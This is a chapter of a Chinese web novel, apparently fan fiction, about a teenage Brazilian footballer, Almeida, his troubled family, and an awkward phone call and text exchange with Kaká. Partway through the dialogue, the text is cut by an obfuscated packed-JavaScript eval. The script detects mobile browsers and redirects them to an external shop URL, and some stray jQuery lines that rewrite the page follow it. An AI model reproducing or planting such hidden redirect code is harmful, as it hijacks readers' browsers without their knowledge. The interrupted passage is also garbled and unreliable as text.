20世纪初，巴西政府积极鼓励欧洲移民，尤其是意大利移民。老阿尔梅达就是在那个时期举家搬到巴西，经营一家咖啡种植园。
在种植园最兴盛的时候，孙子小阿尔梅达出生了，那是阿尔梅达家最幸福的几年——
事业蒸蒸日上，家底越来越丰厚，小阿尔梅达又渐渐展露足球天赋，8岁就加入圣本托青训，成了他们家的骄傲，被索罗卡巴市的人们称为“阿尔梅达的宝石”。
但是随着巴西爆发经济危机，老阿尔梅达去世，将种植园传给儿子万斯，生意开始一落千丈，小阿尔梅达无忧无虑的童年也结束了。
万斯没有经商天分，本来还能靠着基业勉强支撑，偏偏巴西又爆发第二次经济危机，种植园终于在1992年转手出卖，全家搬到贫民区。
万斯的心并不坏，也很爱自己的家人，但必须承认，有的人直到40岁，仍然学不会责任。
从小到大没吃过苦的万斯，人到中年才遭逢人生巨变，受不了这种落差，颓废了很长一段时间，幸好女儿莉娅已经长大成人，可以在原来的种植园做文员，艰难挣钱养家。
后来妻子离世，阿尔梅达却很争气，拿到了圣本托的职业合同，万斯重新看到希望，终于振作，也进了种植园干活。
同一家种植园，身份却从老板变成工人，导致万斯的心理越来越孤僻。
那一天，他听到闲话：圣保罗居然曾经给阿尔梅达递过橄榄枝，而阿尔梅达居然愚蠢地选择了圣本托。
一个是让卡卡成名的巴甲冠军，一个却是每年都濒临降级！
气昏头的万斯给了阿尔梅达一巴掌，让本就惧怕他的阿尔梅达当晚就发了高烧，做了一个光怪陆离的梦。
梦里的他被卷入圣本托的权力斗争：主席主张引进成名的球星，竞选对手却主张发展青训，而他作为圣本托青训代表被打压，被雪藏。
爸爸得知后，勒令他放弃足球，趁着还年轻去读书，去成为赚钱的律师或医生。
他惧怕严厉的父亲，做了妥协，按照父亲的期望去做了医学生，平庸又孤独地活着。
在这期间，他羡慕过卡卡的闪耀，感慨过对方的失意，直到有一天，他在街上看到卡卡的退役声明，“不知道是坚持不懈，还是冥顽不灵……”
一句话如雷轰顶，让他从梦中惊醒。
多年以后的今天，他会感谢那个梦境，但当时的他只是为梦境的真实而后怕，但并不怎么慌张。
因为梦里的圣本托很有钱，现实的却太穷了，根本买不起球星，不可能出现那种主席。
阿尔梅达的烧退了后，不顾父亲的反对，搬进俱乐部的宿舍。反正除了莉娅，他对家里也没什么留恋的，圣本托才是他成长的地方，才是他的家。
可是没想到，教练突然换成一个白痴，连战术都不会定。
阿尔梅达想起了那个梦，以为这是高层开始权利博弈的征兆，危机感空前强烈，决定用表现征服球迷，只要也成为球星就不会被雪藏了！
于是他战战兢兢地自救，依靠个人能力努力进球……结果还是被雪藏了。
而就在这个时候，老万斯得知了消息，知道阿尔梅达家的宝石蒙尘，刚签约就被排挤，被非议，说出了和梦里一样的话，让他放弃足球。
阿尔梅达一时心如死灰，他想不明白，为什么明明很努力了，却得到相同的结果？
或许这就是无法反抗的命运，梦境只是上帝在告诉他：你没有踢球的运气，别白费力气了。
他不甘心像梦里一样活着，又不知道该怎么做，说到底，他只有17岁，姐姐虽然很爱他，可是要忙着赚钱养家，爸爸长期缺席，还越来越暴躁。
无人可倾诉，想起了梦里羡慕的那个人。
听说圣保罗队在森林大厦训练，他怀揣着不为人知的渴望，冒雨冲到了那里，偷偷看卡卡踢球，看卡卡和队友们有说有笑，看教练对卡卡谆谆教导……
他看得迷茫又心酸，直到圣保罗球队都走了，终于忍不住蹲在角落哭泣……
“是阿尔梅达吗？”
那是年轻俊秀的巴西新星，卡卡。
去而复返，看到了他最不想回忆的样子……
*
“我看到了你的留言，阿尔梅达。”
阿尔梅达张了张嘴，哑然，过了会，小心翼翼地问：“是哪一条？”
“你难道不止发了一条？”
阿尔梅达下意识反驳，“怎么可能？”
“好吧。我看到——”电流带来的声音温柔又有磁性，还带着隐隐的笑意，“你想和我牵手？”
阿尔梅达很鄙夷，“你被骗了，那是假的阿尔梅达。”
卡卡发出低低的笑，“哦，原来是假的阿尔梅达，谢谢你告诉我。”
阿尔梅达盯着面前的白色墙壁。
找不到话讲，很尴尬。
他只希望和卡卡在赛场上见面，那才是让他感到放松的方式。
毫无疑问，卡卡是个好人，是个大好人，只是好人却不一定能合拍。
或许他和卡卡就是不合拍，才会一想到对方就害怕，想钻进地洞里躲起来……
阿尔梅达不说话，祈祷米兰宠儿赶快挂电话。
卡卡却听不见他的心声，继续开口：“那你留的言是哪一条？”
阿尔梅达恍然大悟。
对哦，他还没告诉人家留言，人家怎么可能挂？
“我——”他刚起了个头，又卡壳了。
老实说，他的脑袋是容易发热，但现在晾了一天，早就清醒了，也从记者口中侧面印证了卡卡的人气的确高，自然也说不出“心理战”这种傻话。
但要他对卡卡承认自己犯傻，绝对不可能——
“我不告诉你。”
“为什么？”卡卡失笑，“你不是通过电视喊话，让我去看留言吗？”
阿尔梅达绞尽脑汁，也想不出借口，只能冷冰冰地说：“那是你的事。”
反正评论区有那么多“阿尔梅达”，他就不信没有正常的。
“好吧，我自己找。”卡卡好脾气地应了句，忽然认真地叫了声，“阿尔梅达。”
“嗯！”阿尔梅达不自觉地挺直了脊背，要说再见了吧？
“我欠你一句道歉。”
“呃？？”
卡卡的语气非常郑重，“如果我能早点站出来，或许就不会有后面的事了。”
“跟你没有关系。”
“可是……”
“没有可是。”阿尔梅达也认真地说，“卡卡，你是个真正的好人，但没有必要把这件事当作自己的责任。”
卡卡停顿了一会，声音又变得阳光，“好！谢谢你，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13706646|144508||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
阿尔梅达。听到你的话，我轻松多了。”
阿尔梅达能想象到一张大大的笑脸，他不情愿也要承认，卡卡的确拥有能感染人的笑，让他也不禁在电话这头跟着浅笑。
“那你还有其他事吗？”
没有就……
“有啊！”卡卡的语气依然开朗，“你能告诉我为什么不告诉我吗？我很困扰。”
这句话有点拗，阿尔梅达的眼神有一瞬间放空，想了一下才明白。
为什么卡卡非要提过去的事呢？
“我就是不想说。”他迫不及待地说出第二句，生怕对方又开口，努力地暗示，“也不想听。”
“不想听？那我们的约定，是不是也不算数了？”
“当然算！”
“那……我不知道该怎么办了。”卡卡听起来似乎有些为难。
阿尔梅达讷讷，“我不明白。”
他不明白这到底有什么难的，第一反应竟然是心虚，开始拼命回想，自己是不是什么地方没想通。
“因为我还欠你——”卡卡的话说到一半，苦恼的声音忽然变得轻快，“对了，你不想听。对不起，我以后都不提了，好吗？”
他好温柔，好体贴，好讨厌。
阿尔梅达愣愣地举着电话，张了张嘴，说不出话来，“我……”
心里就像钻进很多的蚂蚁，让他又痒又难受。
“和你聊天真开心。再见，阿尔梅达，希望你在都灵一切顺利！”
阿尔梅达呆呆地说：“谢谢。”
“嘟嘟嘟——”
狭小的房间里一片寂静。
过了很久，忽然传来一声悲鸣，“呜！！”
漂亮的少年坐在地板上，上半身趴着床沿，脑袋深深埋进被窝里，抓狂地来回滚动。
卡卡的话没说完。
没说完。
过了一会，他倏地抓起手机，找到通话记录，发了条短信。
阿尔：你欠我什么？
卡卡：可是我不能说。[捂嘴]
阿尔：这次是例外，我想听。
卡卡：欠你一场“一对一”，你忘了吗？
阿尔梅达忽然愣住了。
一对一。
是的，他们还有一场一对一没完成呢。
卡卡：什么时候还？
阿尔：你的名气太大，我不想和你有关系。
事实证明，短信的确更适合阿尔梅达，因为他很快发现这句话不恰当，连忙在发送前又改成“我不想再让记者追着问你”……
卡卡：我知道一个隐蔽的地方。:D
阿尔梅达不能拒绝这种诱惑，很快回复：那等我们有空再约。
卡卡：OK :D
阿尔梅达心满意足了……并没有！
还是觉得浑身不对劲。
他盯着手机叹了好多气，纠结万分，终于敌不过心里的蚂蚁，急切地拨通那个号码。
卡卡的声音听起来很惊讶，“阿尔梅达？”
阿尔梅达语速飞快，“你可以再说一遍欠我什么吗？”
电话可疑地沉默了。
就在阿尔梅达开始唾弃自己的时候，卡卡的声音重新响起，带着明显至极的笑，“我欠你一场一对一！”
阿尔梅达长舒一口气，心满意足地挂上电话，“Bye！”